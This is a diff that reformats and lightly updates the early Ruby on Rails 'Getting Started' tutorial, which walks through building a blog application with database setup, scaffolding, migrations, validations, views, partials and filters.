-And if you're using PostgreSQL for data storage, run this command:
+And if you’re using PostgreSQL for data storage, run this command:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rails blog -d postgresql
--------------------------------------------------------
+</shell>
+
+TIP. You can see all of the switches that the Rails application builder accepts by running <tt>rails -h</tt>.
After you create the blog application, switch to its folder to continue work directly in that application:
-[source, shell]
--------------------------------------------------------
+<shell>
$ cd blog
--------------------------------------------------------
-
-In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:
-
-[options="header"]
-|==========================================================================================================
-|File/Folder |Purpose
-|+README+ |This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
-|+Rakefile+ |This file contains batch jobs that can be run from the terminal.
-|+app/+ |Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
-|+config/+ |Configure your application's runtime rules, routes, database, and more.
-|+db/+ |Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
-|+doc/+ |In-depth documentation for your application.
-|+lib/+ |Extended modules for your application (not covered in this guide).
-|+log/+ |Application log files.
-|+public/+ |The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.
-|+script/+ |Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
-|+test/+ |Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications]
-|+tmp/+ |Temporary files
-|+vendor/+ |A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
-|==========================================================================================================
-
-=== Configuring a Database
+</shell>
+
+In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here’s a basic rundown on the function of each folder that Rails creates in a new application by default:
+
+|_.File/Folder|_.Purpose|
+|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.|
+|Rakefile|This file contains batch jobs that can be run from the terminal.|
+|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.|
+|config/|Configure your application's runtime rules, routes, database, and more.|
+|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
+|doc/|In-depth documentation for your application.|
+|lib/|Extended modules for your application (not covered in this guide).|
+|log/|Application log files.|
+|public/|The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.|
+|script/|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
+|tmp/|Temporary files|
+|vendor/|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
+
+h4. Configuring a Database
Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+.
If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:
@@ -190,181 +188,170 @@ If you open this file in a new Rails application, you'll see a default database
* The +test+ environment is used to run automated tests
* The +production+ environment is used when you deploy your application for the world to use.
-==== Configuring a SQLite Database
+h5. Configuring a SQLite Database
-Rails comes with built-in support for link:http://www.sqlite.org/[SQLite], which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
+Rails comes with built-in support for "SQLite":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
Here's the section of the default configuration file with connection information for the development environment:
-[source, ruby]
--------------------------------------------------------
+<yaml>
development:
- adapter: sqlite3
- database: db/development.sqlite3
- timeout: 5000
--------------------------------------------------------
+adapter: sqlite3
+database: db/development.sqlite3
+pool: 5
+timeout: 5000
+</yaml>
If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:
-If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run:
-
-[source, shell]
--------------------------------------------------------
+<shell>
$ gem install sqlite3-ruby
--------------------------------------------------------
+</shell>
-==== Configuring a MySQL Database
+h5. Configuring a MySQL Database
If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section:
-[source, ruby]
--------------------------------------------------------
+<yaml>
development:
- adapter: mysql
- encoding: utf8
- database: blog_development
- username: root
- password:
- socket: /tmp/mysql.sock
--------------------------------------------------------
+adapter: mysql
+encoding: utf8
+database: blog_development
+pool: 5
+username: root
+password:
+socket: /tmp/mysql.sock
+</yaml>
+
If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
-==== Configuring a PostgreSQL Database
+h5. Configuring a PostgreSQL Database
If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
-[source, ruby]
--------------------------------------------------------
+<yaml>
development:
- adapter: postgresql
- encoding: unicode
- database: blog_development
- username: blog
- password:
--------------------------------------------------------
+adapter: postgresql
+encoding: unicode
+database: blog_development
+pool: 5
+username: blog
+password:
+</yaml>
Change the username and password in the +development+ section as appropriate.
-==== Creating the Database
+h4. Creating the Database
Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rake db:create
--------------------------------------------------------
+</shell>
+
+NOTE. Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+.
-== Hello, Rails!
+h3. Hello, Rails!
One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:
-[source, shell]
--------------------------------------------------------
+<shell>
$ script/generate controller home index
--------------------------------------------------------
+</shell>
-TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
+TIP. If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code:
-[source, html]
--------------------------------------------------------
+<code class="html">
<h1>Hello, Rails!</h1>
--------------------------------------------------------
+</code>
-=== Starting up the Web Server
+h4. Starting up the Web Server
You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:
-[source, shell]
--------------------------------------------------------
+<shell>
$ script/server
--------------------------------------------------------
+</shell>
-This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
+This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
-image:images/rails_welcome.png[Welcome Aboard screenshot]
+!images/rails_welcome.png(Welcome Aboard screenshot)!
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
+TIP. To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
-The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
+The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
-=== Setting the Application Home Page
+h4. Setting the Application Home Page
You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rm public/index.html
--------------------------------------------------------
+</shell>
Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id'
map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1.
To hook up your home page, you need to add another line to the routing file, above the default routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.root :controller => "home"
--------------------------------------------------------
+</ruby>
This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action.
Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view.
-NOTE: For more information about routing, refer to link:../routing_outside_in.html[Rails Routing from the Outside In].
+NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
-== Getting Up and Running Quickly With Scaffolding
+h3. Getting Up and Running Quickly with Scaffolding
-Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.
+Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.
-== Creating a Resource
+h3. Creating a Resource
In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:
-[source, shell]
--------------------------------------------------------
+<shell>
$ script/generate scaffold Post name:string title:string content:text
--------------------------------------------------------
-
-NOTE: While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
-
-The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
-
-[options="header"]
-|==========================================================================================================
-|File |Purpose
-|app/models/post.rb |The Post model
-|db/migrate/20081013124235_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)
-|app/views/posts/index.html.erb |A view to display an index of all posts
-|app/views/posts/show.html.erb |A view to display a single post
-|app/views/posts/new.html.erb |A view to create a new post
-|app/views/posts/edit.html.erb |A view to edit an existing post
-|app/views/layouts/posts.html.erb |A view to control the overall look and feel of the other posts views
-|public/stylesheets/scaffold.css |Cascading style sheet to make the scaffolded views look better
-|app/controllers/posts_controller.rb |The Posts controller
-|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller
-|app/helpers/posts_helper.rb |Helper functions to be used from the posts views
-|config/routes.rb |Edited to include routing information for posts
-|test/fixtures/posts.yml |Dummy posts for use in testing
-|test/unit/post_test.rb |Unit testing harness for the posts model
-|==========================================================================================================
-
-=== Running a Migration
+</shell>
+
+NOTE. While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
+
+The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
+
+|_.File |_.Purpose|
+|app/models/post.rb |The Post model|
+|db/migrate/20090113124235_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)|
+|app/views/posts/index.html.erb |A view to display an index of all posts |
+|app/views/posts/show.html.erb |A view to display a single post|
+|app/views/posts/new.html.erb |A view to create a new post|
+|app/views/posts/edit.html.erb |A view to edit an existing post|
+|app/views/layouts/posts.html.erb |A view to control the overall look and feel of the other posts views|
+|public/stylesheets/scaffold.css |Cascading style sheet to make the scaffolded views look better|
+|app/controllers/posts_controller.rb |The Posts controller|
+|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller|
+|app/helpers/posts_helper.rb |Helper functions to be used from the posts views|
+|config/routes.rb |Edited to include routing information for posts|
+|test/fixtures/posts.yml |Dummy posts for use in testing|
+|test/unit/post_test.rb |Unit testing harness for the posts model|
+|test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper|
+
+h4. Running a Migration
One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.
-If you look in the +db/migrate/20081013124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
+If you look in the +db/migrate/20090113124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreatePosts < ActiveRecord::Migration
def self.up
create_table :posts do |t|
@@ -380,106 +367,99 @@ class CreatePosts < ActiveRecord::Migration
drop_table :posts
end
end
--------------------------------------------------------
+</ruby>
-If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide.
+If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the "Rails Database Migrations":migrations.html guide.
At this point, you can use a rake command to run the migration:
-[source, shell]
--------------------------------------------------------
-$ rake db:create
+<shell>
$ rake db:migrate
--------------------------------------------------------
+</shell>
+
+Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier.
NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
-=== Adding a Link
+h4. Adding a Link
To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows:
-[source, ruby]
--------------------------------------------------------
+<code lang="ruby">
<h1>Hello, Rails!</h1>
-
<%= link_to "My Blog", posts_path %>
--------------------------------------------------------
+</code>
The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.
-=== Working with Posts in the Browser
+h4. Working with Posts in the Browser
Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link:
-image:images/posts_index.png[Posts Index screenshot]
+!images/posts_index.png(Posts Index screenshot)!
This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command.
-TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
+TIP. In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
Congratulations, you're riding the rails! Now it's time to see how it all works.
-=== The Model
+h4. The Model
The model file, +app/models/post.rb+ is about as simple as it can get:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Post < ActiveRecord::Base
end
--------------------------------------------------------
+</ruby>
There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.
-=== Adding Some Validation
+h4. Adding Some Validation
Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Post < ActiveRecord::Base
validates_presence_of :name, :title
validates_length_of :title, :minimum => 5
end
--------------------------------------------------------
+</ruby>
These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.
-=== Using the Console
+h4. Using the Console
To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:
-[source, shell]
--------------------------------------------------------
+<shell>
$ script/console
--------------------------------------------------------
+</shell>
After the console loads, you can use it to work with your application's models:
-[source, shell]
--------------------------------------------------------
+<shell>
>> p = Post.create(:content => "A new post")
-=> #<Post id: nil, name: nil, title: nil, content: "A new post",
+=> #<Post id: nil, name: nil, title: nil, content: "A new post",
created_at: nil, updated_at: nil>
>> p.save
=> false
>> p.errors
-=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
-title: nil, content: "A new post", created_at: nil, updated_at: nil>,
-@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
+=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
+title: nil, content: "A new post", created_at: nil, updated_at: nil>,
+@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
"is too short (minimum is 5 characters)"]}>
--------------------------------------------------------
+</shell>
This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post.
-TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type +reload!+ at the console prompt to load them.
+TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them.
-=== Listing All Posts
+h4. Listing All Posts
The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def index
@posts = Post.find(:all)
@@ -488,16 +468,15 @@ def index
format.xml { render :xml => @posts }
end
end
--------------------------------------------------------
+</ruby>
This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions.
-TIP: For more information on finding records with Active Record, see link:../finders.html[Active Record Finders].
+TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html.
-The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+:
+The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/views/posts/index.html.erb+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>Listing posts</h1>
<table>
@@ -514,7 +493,8 @@ The +respond_to+ block handles both HTML and XML calls to this action. If you br
<td><%=h post.content %></td>
<td><%= link_to 'Show', post %></td>
<td><%= link_to 'Edit', edit_post_path(post) %></td>
- <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
+ <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
+ :method => :delete %></td>
</tr>
<% end %>
</table>
@@ -522,7 +502,7 @@ The +respond_to+ block handles both HTML and XML calls to this action. If you br
<br />
<%= link_to 'New post', new_post_path %>
--------------------------------------------------------
+</erb>
This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view:
@@ -530,20 +510,20 @@ This view iterates over the contents of the +@posts+ array to display content an
* +link_to+ builds a hyperlink to a particular destination
* +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
-TIP: For more details on the rendering process, see link:../layouts_and_rendering.html[Layouts and Rendering in Rails].
+TIP. For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html.
-=== Customizing the Layout
+h4. Customizing the Layout
The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag:
-[source, ruby]
--------------------------------------------------------
+<erb>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
- <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
+ <meta http-equiv="content-type"
+ content="text/html;charset=UTF-8" />
<title>Posts: <%= controller.action_name %></title>
<%= stylesheet_link_tag 'scaffold' %>
</head>
@@ -555,16 +535,15 @@ The view is only part of the story of how HTML is displayed in your web browser.
</body>
</html>
--------------------------------------------------------
+</erb>
Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.
-=== Creating New Posts
+h4. Creating New Posts
Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def new
@post = Post.new
@@ -573,12 +552,11 @@ def new
format.xml { render :xml => @post }
end
end
--------------------------------------------------------
+</ruby>
The +new.html.erb+ view displays this empty Post to the user:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>New post</h1>
<% form_for(@post) do |f| %>
@@ -602,7 +580,7 @@ The +new.html.erb+ view displays this empty Post to the user:
<% end %>
<%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.
@@ -610,8 +588,7 @@ TIP: If you need to create an HTML form that displays arbitrary fields, not tied
When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):
-[source, ruby]
--------------------------------------------------------
+<ruby>
def create
@post = Post.new(params[:post])
@@ -619,25 +596,26 @@ def create
if @post.save
flash[:notice] = 'Post was successfully created.'
format.html { redirect_to(@post) }
- format.xml { render :xml => @post, :status => :created, :location => @post }
+ format.xml { render :xml => @post, :status => :created,
+ :location => @post }
else
format.html { render :action => "new" }
- format.xml { render :xml => @post.errors, :status => :unprocessable_entity }
+ format.xml { render :xml => @post.errors,
+ :status => :unprocessable_entity }
end
end
end
--------------------------------------------------------
+</ruby>
The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages.
Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created."
-=== Showing an Individual Post
+h4. Showing an Individual Post
When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def show
@post = Post.find(params[:id])
@@ -646,12 +624,11 @@ def show
format.xml { render :xml => @post }
end
end
--------------------------------------------------------
+</ruby>
The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<p>
<b>Name:</b>
<%=h @post.name %>
@@ -670,23 +647,21 @@ The +show+ action uses +Post.find+ to search for a single record in the database
<%= link_to 'Edit', edit_post_path(@post) %> |
<%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
-=== Editing Posts
+h4. Editing Posts
Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def edit
@post = Post.find(params[:id])
end
--------------------------------------------------------
+</ruby>
After finding the requested post, Rails uses the +edit.html.erb+ view to display it:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>Editing post</h1>
<% form_for(@post) do |f| %>
@@ -711,12 +686,11 @@ After finding the requested post, Rails uses the +edit.html.erb+ view to display
<%= link_to 'Show', @post %> |
<%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
Submitting the form created by this view will invoke the +update+ action within the controller:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def update
@post = Post.find(params[:id])
@@ -727,22 +701,22 @@ def update
format.xml { head :ok }
else
format.html { render :action => "edit" }
- format.xml { render :xml => @post.errors, :status => :unprocessable_entity }
+ format.xml { render :xml => @post.errors,
+ :status => :unprocessable_entity }
end
end
end
--------------------------------------------------------
+</ruby>
In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them.
-NOTE: Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
+NOTE. Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
-=== Destroying a Post
+h4. Destroying a Post
Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def destroy
@post = Post.find(params[:id])
@post.destroy
@@ -752,45 +726,42 @@ def destroy
format.xml { head :ok }
end
end
--------------------------------------------------------
+</ruby>
The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.
-== DRYing up the Code
+h3. DRYing up the Code
At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers.
-=== Using Partials to Eliminate View Duplication
+h4. Using Partials to Eliminate View Duplication
-As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a +partial+ template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted:
+As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that's the Rails naming convention for partial templates.
-+new.html.erb+:
+<tt>new.html.erb</tt>:
-[source, ruby]
--------------------------------------------------------
+<html>
<h1>New post</h1>
<%= render :partial => "form" %>
<%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</html>
-+edit.html.erb+:
+<tt>edit.html.erb</tt>:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>Editing post</h1>
<%= render :partial => "form" %>
<%= link_to 'Show', @post %> |
<%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
-+_form.html.erb+:
+<tt>_form.html.erb</tt>:
-[source, ruby]
--------------------------------------------------------
+<erb>
<% form_for(@post) do |f| %>
<%= f.error_messages %>
@@ -810,23 +781,22 @@ As you saw earlier, the scaffold-generated views for the +new+ and +edit+ action
<%= f.submit "Save" %>
</p>
<% end %>
--------------------------------------------------------
+</erb>
Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore.
-For more information on partials, refer to the link:../layouts_and_rendering.html[Layouts and Rending in Rails] guide.
+For more information on partials, refer to the "Layouts and Rending in Rails":layouts_and_rendering.html guide.
-=== Using Filters to Eliminate Controller Duplication
+h4. Using Filters to Eliminate Controller Duplication
At this point, if you look at the controller for posts, you’ll see some duplication:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class PostsController < ApplicationController
# ...
def show
@post = Post.find(params[:id])
- # ...
+ # ...
end
def edit
@@ -843,17 +813,17 @@ class PostsController < ApplicationController
# ...
end
end
--------------------------------------------------------
+</ruby>
Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class PostsController < ApplicationController
- before_filter :find_post, :only => [:show, :edit, :update, :destroy]
+ before_filter :find_post,
+ :only => [:show, :edit, :update, :destroy]
# ...
def show
- # ...
+ # ...
end
def edit
@@ -872,46 +842,44 @@ class PostsController < ApplicationController
@post = Post.find(params[:id])
end
end
--------------------------------------------------------
+</ruby>
Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.
-For more information on filters, see the link:actioncontroller_basics.html[Action Controller Basics] guide.
+For more information on filters, see the "Action Controller Overview":action_controller_overview.html guide.
-== Adding a Second Model
+h3. Adding a Second Model
Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.
-=== Generating a Model
+h4. Generating a Model
